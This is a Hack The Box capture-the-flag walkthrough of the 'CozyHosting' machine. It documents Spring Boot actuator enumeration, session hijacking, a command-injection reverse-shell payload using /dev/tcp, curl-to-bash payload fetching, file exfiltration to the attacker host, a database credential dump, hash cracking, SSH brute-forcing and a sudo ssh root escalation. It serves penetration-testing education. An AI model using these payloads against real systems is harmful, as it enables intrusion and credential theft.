HTB: CozyHosting

Let’s nmap $TARGET

$ nmap -oA recon/nmap/quick $TARGET
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.230
Host is up (0.039s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8000/tcp open  http-alt
8083/tcp open  us-srv
8888/tcp open  sun-answerbook

Nmap done: 1 IP address (1 host up) scanned in 6.25 seconds

Quite a few odd ports open. Let’s start a more in depth scan and take a look at the website on port 80.

$ sudo nmap -sT -sU -sC -sV -oA recon/nmap/full -p- -v3 --min-rate 10000 $TARGET
$ firefox http://$TARGET &

We’re redirected to http://cozyhosting.htb/ but since there’s no DNS server to resolve the domain and the server seemingly only responding to requests targeted at cozyhosting.htb the page doesn’t load. Let’s add cozyhosting.htb to /etc/hosts:

$ sudo bash -c "echo ${TARGET} cozyhosting.htb >> /etc/hosts"

Refreshing the page again we can access what looks like a hosting website.

View of the main website

Since there seems to be quite a few buttons; let’s run an automated scan using zapproxy to spider to website and maybe pickup on something (doesn’t end up finding anything interesting).

View of the quick start page of zap proxy

While at it let’s run a vhost fuzzer (nothing found) and a generic feroxbuster fuzz:

$ gobuster vhost -u http://cozyhosting.htb/ -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -o recon/vhostbust
 ... output omitted, nothing interesting ...
$ feroxbuster -u http://cozyhosting.htb/ -w /opt/SecLists/Discovery/Web-Content/raft-medium-words.txt -o recon/feroxMedWords
$ echo "Ignoring template assets"; cat feroxMedWords | grep -v assets
Ignoring template assets
401      GET        1l        1w       97c http://cozyhosting.htb/admin
204      GET        0l        0w        0c http://cozyhosting.htb/logout
200      GET      285l      745w    12706c http://cozyhosting.htb/index
200      GET       97l      196w     4431c http://cozyhosting.htb/login
500      GET        1l        1w       73c http://cozyhosting.htb/error
200      GET      285l      745w    12706c http://cozyhosting.htb/

We see that there’s an admin page that we don’t have access to, so the login page becomes really interesting:

login page of the website

Since we don’t really know the tech stack used to build the app yet; let’s run a special character fuzz with burp suite + sqlmap in the background and try to figure out how the website is built.

$ sqlmap --forms --level 5 -risk 3 -u http://cozyhosting.htb/login
 ... nothing interesting ...

Burp suite intruder windows showing the fuzzed fields

Intercepting the login request with burp suite we can see in the response that the server sets a JSESSIONID cookie. Is the back-end based on java?

Response to the login request show in burp suite

Going to a non-existing page we get an error, googling it mentions spring boot framework. This checks out with the cookie.

Whitelabel Error Page of spring boot

There seems to be a spring specific word list in SecLists. Let’s run that with feroxbuster:

$ echo "Ignoring template assets"; cat feroxMedWords | grep -v assets
Ignoring template assets
404      GET        0l        0w        0c http://cozyhosting.htb/actuator/env/tz
200      GET        1l      120w     4957c http://cozyhosting.htb/actuator/env
200      GET        1l       13w      487c http://cozyhosting.htb/actuator/env/lang
404      GET        0l        0w        0c http://cozyhosting.htb/actuator/env/pwd
200      GET        1l       13w      487c http://cozyhosting.htb/actuator/env/home
404      GET        0l        0w        0c http://cozyhosting.htb/actuator/env/language
200      GET        1l        1w      634c http://cozyhosting.htb/actuator
200      GET        1l       13w      487c http://cozyhosting.htb/actuator/env/path
200      GET        1l        1w       15c http://cozyhosting.htb/actuator/health
404      GET        0l        0w        0c http://cozyhosting.htb/actuator/env/hostname
200      GET        1l        1w      398c http://cozyhosting.htb/actuator/sessions
404      GET        0l        0w        0c http://cozyhosting.htb/actuator/env/spring.jmx.enabled
200      GET       97l      196w     4431c http://cozyhosting.htb/login
200      GET        1l      542w   127224c http://cozyhosting.htb/actuator/beans
200      GET        1l      108w     9938c http://cozyhosting.htb/actuator/mappings
200      GET      285l      745w    12706c http://cozyhosting.htb/

Googling “spring boot exploit” seems to mention actuators. Since the fuzz didn’t show any endpoints with known RCE vectors next interesting targets are the sessions, env and mappings actuators.

$ wget http://cozyhosting.htb/actuator/mappings && cat mappings | jq
 ... filtered for interesting ...
{
  "handler": "ParameterizableViewController [view=\"admin\"]",
  "predicate": "/admin"
},
{
  "handler": "ParameterizableViewController [view=\"addhost\"]",
  "predicate": "/addhost"
},
{
  "handler": "ParameterizableViewController [view=\"index\"]",
  "predicate": "/index"
},
{
  "handler": "ParameterizableViewController [view=\"login\"]",
  "predicate": "/login"
},
{
  "handler": "ResourceHttpRequestHandler [classpath [META-INF/resources/webjars/]]",
  "predicate": "/webjars/**"
},
{
  "handler": "ResourceHttpRequestHandler [classpath [META-INF/resources/], classpath [resources/], classpath [static/], classpath [public/], ServletContext [/]]",
  "predicate": "/**"
}

{
  "handler": "htb.cloudhosting.compliance.ComplianceService#executeOverSsh(String, String, HttpServletResponse)",
  "predicate": "{POST [/executessh]}",
  "details": {
    "handlerMethod": {
      "className": "htb.cloudhosting.compliance.ComplianceService",
      "name": "executeOverSsh",
      "descriptor": "(Ljava/lang/String;Ljava/lang/String;Ljakarta/servlet/http/HttpServletResponse;)V"
    },
    "requestMappingConditions": {
      "consumes": [],
      "headers": [],
      "methods": [
        "POST"
      ],
      "params": [],
      "patterns": [
        "/executessh"
      ],
      "produces": []
    }
  }
},

$ wget http://cozyhosting.htb/actuator/env && cat env | jq
 ... nothing interesting ...

$ wget http://cozyhosting.htb/actuator/sessions && cat sessions | jq
{
  "D697FB35FF53E43D1718B88D7081C354": "kanderson"
}

Seems like someone else is logged in currently. Let’s use their session cookie and see if we can access /admin.

Editing the cookie using the firefox dev tools

Refreshing the page it seems that we’re logged in!

Login button is missing from page. Assuming successful login.

Going to the admin panel we’re greeted with what looks like some kind of automated patching over ssh tool.

View of the admin panel from /admin

The submit functionality seems use the /execssh endpoint previously identified as interesting in the json from the mapping actuator.

POST /executessh HTTP/1.1
Host: cozyhosting.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://cozyhosting.htb/admin
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
Origin: http://cozyhosting.htb
DNT: 1
Connection: close
Cookie: JSESSIONID=3586E192A88DFAD844F500F81A8E36AD
Upgrade-Insecure-Requests: 1

host=localhost&username=root

Redirects to: http://cozyhosting.htb/admin?error=Host%20key%20verification%20failed. (This looks like an xxs vector but seems to be escaped properly)

Let’s fuzz the form with special characters using burp suite again.

Showing intruder page in burp suite setting up fuzz

It seems the error parameter has the output of the ssh command.

http response showing ssh output passed in as the err param

Possibly vulnerable to command injection? Let’s try some payloads.

host=localhost&username=$(curl 10.10.14.30:8000) results in: Location: http://cozyhosting.htb/admin?error=Username can't contain whitespaces!. Hacktricks seems to have quite a bit of good content on this. Let’s try the short rev shell trick.

Start the listener:

$ nc -lvnp 9001

host=localhost&username=(sh)0>/dev/tcp/10.10.13.30/9001 Seems to cause an error: Location: http://cozyhosting.htb/admin?error=/bin/bash: -c: line 1: syntax error near unexpected token (\'/bin/bash: -c: line 1: ssh -o ConnectTimeout=1 (sh)0>/dev/tcp/10.10.13.30/9001@localhost'. Since the parameter seems to go directly into the username it throws an error. Let’s make bash use the return of the shell payload as the username with $(), host=localhost&username=$((sh)0>/dev/tcp/10.10.13.30/9001)

Sending:

POST /executessh HTTP/1.1
Host: cozyhosting.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://cozyhosting.htb/admin?error=Invalid%20hostname!
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Origin: http://cozyhosting.htb
DNT: 1
Connection: close
Cookie: JSESSIONID=08D7A2D967BFBD7D02FE7187AD273C6E
Upgrade-Insecure-Requests: 1

host=localhost&username=$((sh)0>/dev/tcp/10.10.13.30/9001)

Gives us a shell! Let’s run exec >&0 as stated in the instruction on hacktricks.

$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.30] from (UNKNOWN) [10.10.11.230] 41668
exec >&0
ls
cloudhosting-0.0.1.jar
pwd
/app

Since this shell is likely very fragile; let’s upgrade it:

Start the listener (found on this blog post).

stty raw -echo; stty size && rcat l -ie "script -qc /bin/bash /dev/null" 9002 && reset

Running the payload directly in the existing shell seems to break it. We’ll need to cradle it:

$ cat "/bin/bash -i >& /dev/tcp/10.10.14.30/9002 0>&1" > sh
$ python -m http.server

Then download it and run using the existing shell we have:

$ curl 10.10.14.30:8000/sh | /bin/bash

And we get a nice upgraded shell!

Right off the bat we can see a jar file and guessing from the filename, username, and directory we can assume it’s the source of the web app we’ve been dealing with. Nevertheless; let’s run linpeas:

$ py -m uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Start a listener to capture linpeas output:

$ nc -lp 9002 | tee recon/linpeaoutput

and fire off linpeas.

$ curl 10.10.14.30:8000/p | bash &> /dev/tcp/10.10.14.30/9001 &

Let’s also upload the jar file so we can have a closer look:

$ which python3
/usr/bin/python3
$ python3 -c 'import requests;requests.post("http://10.10.14.30:8000/upload",files={"files":open("cloudhosting-0.0.1.jar","rb")})'

Currently, the commonly suggested decompiler seems to be vineflower so let’s use that.

$ java -jar vineflower.jar cloudhosting-0.0.1.jar cloudhosting
$ cat cloudhosting/BOOT-INF/classes/application.properties
server.address=127.0.0.1
server.servlet.session.timeout=5m
management.endpoints.web.exposure.include=health,beans,env,sessions,mappings
management.endpoint.sessions.enabled = true
spring.datasource.driver-class-name=org.postgresql.Driver
spring.jpa.database-platform=org.hibernate.dialect.PostgreSQLDialect
spring.jpa.hibernate.ddl-auto=none
spring.jpa.database=POSTGRESQL
spring.datasource.platform=postgres
spring.datasource.url=jdbc:postgresql://localhost:5432/cozyhosting
spring.datasource.username=postgres
spring.datasource.password=Vg&nvzAQ7XxR
$ cat cloudhosting/BOOT-INF/classes/htb/cloudhosting/database/CozyUser.java
package htb.cloudhosting.database;

import jakarta.persistence.Column;
import jakarta.persistence.Entity;
import jakarta.persistence.Id;
import jakarta.persistence.Table;

@Entity
@Table(
   name = "users",
   schema = "public"
)
 ... snip ...

Some creds and the table schema here! Let’s dump the DB.

app@cozyhosting:/app$ psql "postgresql://postgres:Vg&nvzAQ7XxR@localhost:5432/cozyhosting" -c 'SELECT * FROM users'
   name    |                           password                           | role
-----------+--------------------------------------------------------------+-------
 kanderson | $2a$10$E/Vcd9ecflmPudWeLSEIv.cvK6QjxjWlWXpij1NVNV3Mm6eH58zim | User
 admin     | $2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm | Admin
(2 rows)

Let’s start cracking the hashes and have a look through the linpeas output:

$ hashcat --user hashes -m 3200 rockyou.txt

Nothing interesting in linpeas output but we get a password from hashcat!

$ hashcat --user hashes -m 3200 rockyou.txt --show
admin:$2a$10$SpKYdHLB0FOaT7n3x72wtuS0yR8uqqbNNpIPjUb2MZib3H9kVO8dm:manchesterunited

Let’s run hydra on the on ssh and see if we can get logged in:

$ cat loot/leaked_passwd | grep sh$ | awk -F ':' '{print $1}' | tee loot/leakedUsers
root
app
postgres
josh
$ echo "kanderson" >> loot/leakedUsers
$ echo "admin" >> loot/leakedUsers
$ cat loot/leakedUsers /opt/SecLists/Usernames/top-usernames-shortlist.txt > /tmp/users
$ cat loot/leakedPass /opt/SecLists/Passwords/darkweb2017-top10000.txt > /tmp/passlist
$ hydra -L /tmp/users -P /tmp/passlist $TARGET ssh
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra)
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 6 tasks per 1 server, overall 6 tasks, 6 login tries (l:6/p:1), ~1 try per task
[DATA] attacking ssh://10.10.11.230:22/
[22][ssh] host: 10.10.11.230   login: josh   password: manchesterunited
1 of 1 target successfully completed, 1 valid password found

We got a login! Seems hydra was overkill here. Let’s again run linpeas in the background while we look around manually (linpeas doesn’t find anything interesting, steps are the same as previously):

josh@cozyhosting:~$ sudo -l
[sudo] password for josh:
Matching Defaults entries for josh on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User josh may run the following commands on localhost:
    (root) /usr/bin/ssh *

Checking sudo we see that user josh can run ssh as root, GTFO bins says the breakout into a shell is as easy as running:

josh@cozyhosting:~$ sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
$ id
uid=0(root) gid=0(root) groups=0(root)

and we get a root shell!